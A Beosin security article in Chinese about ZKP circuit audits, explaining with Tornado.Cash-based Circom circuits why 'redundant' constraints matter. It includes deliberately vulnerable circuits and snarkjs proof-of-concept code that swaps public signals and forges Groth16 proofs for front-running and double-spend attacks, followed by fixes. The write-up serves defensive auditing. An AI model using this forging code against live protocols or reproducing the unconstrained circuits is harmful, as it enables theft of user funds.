ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗?
作者:Beosin
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 0](https://img.bgstatic.com/multiLang/image/0b01b700522827a0245118174e9d34ab1698391527118.jpeg)
1. 前言
ZKP(Zero-Knowledge Proof)项目主要包含链下电路、链上合约两部分,其中电路部分由于涉及业务逻辑的约束抽象以及复杂的密码学基础知识,所以该部分是项目方实现的难点,同时也是安全人员的审计难点,由于 Beosin 最近在关于ZKP相关的审计中发现了诸多安全问题,下面列举一种容易被项目方忽视的安全案例 — “冗余约束”,目的是提醒项目方和用户注意相关安全风险。
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 1](https://img.bgstatic.com/multiLang/image/a20fd23d7b1079c1a144e5d8b7ec8d111698391581414.jpeg)
2. 冗余约束能删除吗
审计ZKP项目时,通常会见到如下奇怪约束,但很多项目方实际并不理解具体含义,为了降低电路复用的难度和节省链下计算消耗,可能会删除部分约束,从而造成安全问题:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 2](https://img.bgstatic.com/multiLang/image/4915a9dccf1e97b65a2ea32aa83415951698391581684.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 3](https://img.bgstatic.com/multiLang/image/8fd6ace8526f6ef8040bb40fbef254c51698391581924.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 4](https://img.bgstatic.com/multiLang/image/944c03d9d5f88eecbb21e58ab3bb7fa41698391582191.jpeg)
下面将以简单的隐私交易项目 Tornado.Cash 为例介绍这种攻击,本文将电路中附加信息的相关信号和约束删除后具体如下:
template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash;
component commitmentHasher = Pedersen(496); // component nullifierHasher = Pedersen(248); component nullifierBits = Num2Bits(248); component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i + 248] <== secretBits.out[i]; }
commitment <== commitmentHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; }
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits template Withdraw(levels) { signal input root; // signal input nullifierHash; signal output commitment;
// signal input recipient; // not taking part in any computations // signal input relayer; // not taking part in any computations // signal input fee; // not taking part in any computations // signal input refund; // not taking part in any computations signal input nullifier; signal input secret; // signal input pathElements[levels]; // signal input pathIndices[levels];
component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // component tree = MerkleTreeChecker(levels);
// tree.leaf <== hasher.commitment; // tree.root <== root; // for (var i = 0; i < levels; i++) { // tree.pathElements[i] <== pathElements[i]; // tree.pathIndices[i] <== pathIndices[i]; // }
// Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints // Squares are used to prevent optimizer from removing those constraints // signal recipientSquare; // signal feeSquare; // signal relayerSquare; // signal refundSquare;
// recipientSquare <== recipient * recipient; // feeSquare <== fee * fee; // relayerSquare <== relayer * relayer; // refundSquare <== refund * refund;
}
component main = Withdraw(20);
为了便于理解,本文删除了电路中校验 Merkle Tree 和 nullifierHash 相关的部分,同时也将收款人地址等信息注释。该电路生成的链上合约中,本文使用两个不同的地址同时进行 verify,可以发现两个不同地址都可以通过校验:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 5](https://img.bgstatic.com/multiLang/image/f27eed2ebe2e4cc328b592d80fc1700a1698391582455.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 6](https://img.bgstatic.com/multiLang/image/b4883108243bbbaeec58bdcd460519941698391582692.jpeg)
但是当将下面代码添加到电路约束中时,可以发现只有电路中设置的 recipient 地址才能通过校验:
signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare;
recipientSquare <== recipient * recipient; recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 7](https://img.bgstatic.com/multiLang/image/eb41dc73561921bdd86ba5df56adee2b1698391582972.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 8](https://img.bgstatic.com/multiLang/image/b0de3e8a76c8e7bc0b8e9dff7fe126b31698391583268.jpeg)
所以当 Proof 未与 recipient 绑定时,可以发现 recipient 的地址可以被随意更换而 zk proof 都可以校验通过,那么当用户想从项目池中提款时就可能被 MEV 抢跑。 下面是某隐私交易 DApp 的 MEV 抢跑攻击示例:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 9](https://img.bgstatic.com/multiLang/image/09956a351391f5d94fdec3011b5270d21698391583495.jpeg)
3. 冗余约束的错误写法
此外,电路中还有两种常见的错误写法,可能导致更加严重的双花攻击:一种是电路中设置了 input 信号,但是未对该信号进行约束,另一种是信号的多个约束之间存在线性依赖关系。下图为 Groth16 算法常见的 Prove 和 Verify 计算流程:
Prover 生成证明 Proof π = ([A]1,[C]1,[B]2):
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 10](https://img.bgstatic.com/multiLang/image/521ed4ab2ff7b80a785564f63b0dff521698391583787.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 11](https://img.bgstatic.com/multiLang/image/dc9b36cca23ade8fa9a23a9d97cacfee1698391584072.jpeg)
3.1 信号未参与约束
如果某个公共信号 在电路中不存在任何约束,那么对于其约束 来说,下列式子值恒为 0(其中 是 Verifier 需要 Prover 计算的随机挑战值):
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 12](https://img.bgstatic.com/multiLang/image/35a40f300f674fb0e4a3bfe7b3e8ca1d1698391584256.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 13](https://img.bgstatic.com/multiLang/image/908452afdc6218500e715dcdd925930d1698391584501.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 14](https://img.bgstatic.com/multiLang/image/130dd85432cd6516f186be90940bf0e21698391584714.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 15](https://img.bgstatic.com/multiLang/image/a3f086ed2c83ece1617b730ac7a5a1841698391584904.jpeg)
本文修改 Tornado.Cash 电路如下,可以看到该电路有 1 个公共输入信号 recipient,以及 3 个私有信号 root、nullifier、secret,其中 recipient 在该电路中并不存在任何约束:
signal input recipient; // not taking part in any computations signal input nullifier; signal input secret;
component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment; } component main {public [recipient]}= Withdraw(20);
本文将在最新的 snarkjs 库 0.7.0 版本上测试,将其隐式约束代码删除,以展示电路存在没有约束信号时的双花攻击效果,核心 exp 代码如下:
await newZKey( `withdraw2.r1cs`, `powersOfTau28_hez_final_14.ptau`, `withdraw2_0000.zkey`, )
await beacon( `withdraw2_0000.zkey`, `withdraw2_final.zkey`, "Final Beacon", "0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f", 10, )
const verificationKey = await exportVerificationKey(`withdraw2_final.zkey`) fs.writeFileSync(`withdraw2_verification_key.json`, JSON.stringify(verificationKey), "utf-8")
let { proof, publicSignals } = await groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, recipient: inputD }, "withdraw2.wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(`public1.json`, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(`proof.json`, JSON.stringify(proof), "utf-8") verify(publicSignals, proof);
publicSignals[1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(`public2.json`, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, proof); }
可以看到生成的两个 Proof 都通过了校验:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 16](https://img.bgstatic.com/multiLang/image/aeafcf82ddb1bd16f5ee49e55187077b1698391585121.jpeg)
3.2 线性依赖型约束
实际开发的过程中,项目方可能为了提升效率采用一行约束包含上述的所有附加信号,但是如果公共信号 和 私有信号 存在线性依赖关系,那么攻击者可以伪造证明实现双花攻击。本文简单阐述攻击流程,具体的推导过程见参考文献。首先假设二者的线性依赖因子为 ,对于 ,可以通过下列计算伪造证明:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 17](https://img.bgstatic.com/multiLang/image/70e4adbae4a7e05ef1c808bcdc97672b1698391585336.jpeg)
signal input recipient; // not taking part in any computations signal input relayer; // not taking part in any computations signal input fee; // not taking part in any computations // signal input refund; // not taking part in any computations signal input nullifier; signal input secret; // signal input pathElements[levels]; // signal input pathIndices[levels];
component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment; signal input Square;
// recipientSquare <== recipient * recipient; // feeSquare <== fee * fee; // relayerSquare <== relayer * relayer; // refundSquare <== refund * refund; 35 * Square === (2*recipient + 2*relayer + fee + 2) * (relayer + 4); }
component main {public [recipient,Square]}= Withdraw(20);
上述电路可能导致双花攻击,具体的 exp 核心代码如下:
const curve = await buildBn128(); const Fr = curve.Fr; const G1 = curve.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8);
const matching_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orginal_pub_input, Fr.n8);
const sGIn = curve.G1.F.n8 * 2 const matching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul(linear_factor, Fr.sub(matching_pub, new_pi)); const p = await curve.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c);
const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c)) }
同样修改部分库代码后,我们在 snarkjs 0.7.0 版本上进行测试,结果为如下两个伪造的 proof 都可以通过验证:
publicsingnal1 + proof1
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 18](https://img.bgstatic.com/multiLang/image/02af468639f05b5dfd5652b1148423f81698391585558.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 19](https://img.bgstatic.com/multiLang/image/8aac3f2d1bbf6e59921b299872b5c6b51698391585844.jpeg)
publicsingnal2 + proof2
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 20](https://img.bgstatic.com/multiLang/image/fdab6f876d1092fcf1b5d8be6faa3d261698391586046.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 21](https://img.bgstatic.com/multiLang/image/e6b41eecf0e29b93081f8dda98c8fd061698391586395.jpeg)
4 修复方案
4.1 zk 库代码
目前部分流行的 zk 库如 snarkjs 库会在电路中隐式的加入一些约束,例如一个最简单的约束:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 22](https://img.bgstatic.com/multiLang/image/58e57d91022e66e740ea395913cae1cd1698391586710.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 23](https://img.bgstatic.com/multiLang/image/6880365754aab2355b443480ae1ce59a1698391586957.jpeg)
4.2 电路
项目方在设计电路时,由于使用的第三方 zk 库可能在 setup 或编译期间并不会添加额外约束,所以我们建议项目方尽量在电路设计层面保证约束的完整性,在电路中严格对所有信号进行合法约束以保证安全性,例如前文所示的平方约束。
Beosin 作为一家全球领先的区块链安全公司,在全球 10 多个国家和地区设立了分部,业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规 KYT/AML 等“一站式”区块链安全产品 + 服务,目前已为全球 3000 多个区块链企业提供安全技术服务,审计智能合约超过 3000 份,在 ZKP 项目审计方面,Beosin 非常具有经验。欢迎点击公众号留言框,与我们联系。
参考文献: https://geometry.xyz/notebook/groth16-malleability
近期热点文章阅读:
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 24](https://img.bgstatic.com/multiLang/image/8059ce553833f9c51fa0363f7ec38f2d1698391528278.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 25](https://img.bgstatic.com/multiLang/image/756c9890e0374903c82c19e9fec670c71698391528563.jpeg)
![ZKP 项目方必读 | 电路审计:冗余约束真的冗余吗? image 26](https://img.bgstatic.com/multiLang/image/df9ce3cc0a4068fac8d3953a0304acff1698391528889.jpeg)
0
0
免责声明:文章中的所有内容仅代表作者的观点,与本平台无关。用户不应以本文作为投资决策的参考。
PoolX:锁仓获得新代币空投
不要错过热门新币,且APR 高达 10%+
立即参与!
你也可能喜欢
![](https://img.bgstatic.com/multiLang/image/social/aa16b8617a92c5475888409d4b9f03051739950845650.jpg)
加密货币价格
更多![Bitcoin](https://img.bgstatic.com/multiLang/coinPriceLogo/bitcoin.png)
Bitcoin
BTC
$95,731.96
+0.32%
![Ethereum](https://img.bgstatic.com/multiLang/coinPriceLogo/ethereum.png)
Ethereum
ETH
$2,709.59
+1.41%
![XRP](https://img.bgstatic.com/multiLang/coinPriceLogo/ripple.png)
XRP
XRP
$2.56
-0.16%
![Tether USDt](https://img.bgstatic.com/multiLang/coinPriceLogo/0208496be4e524857e33ae425e12d4751710262904978.png)
Tether USDt
USDT
$0.9999
+0.01%
![BNB](https://img.bgstatic.com/multiLang/coinPriceLogo/binance.png)
BNB
BNB
$655.13
+0.52%
![Solana](https://img.bgstatic.com/multiLang/coinPriceLogo/solana.png)
Solana
SOL
$169.27
+1.90%
![USDC](https://img.bgstatic.com/multiLang/coinPriceLogo/usdc.png)
USDC
USDC
$1
+0.01%
![Dogecoin](https://img.bgstatic.com/multiLang/coinPriceLogo/dogecoin.png)
Dogecoin
DOGE
$0.2543
+1.49%
![Cardano](https://img.bgstatic.com/multiLang/coinPriceLogo/cardano.png)
Cardano
ADA
$0.7650
-1.84%
![TRON](https://img.bgstatic.com/multiLang/coinPriceLogo/tron.png)
TRON
TRX
$0.2432
+1.92%
交易热门币种
新用户可获得价值 6200 USDT 的迎新大礼包
立即交易
立即成为交易者?新用户可获得价值 6200 USDT 的迎新大礼包
立即注册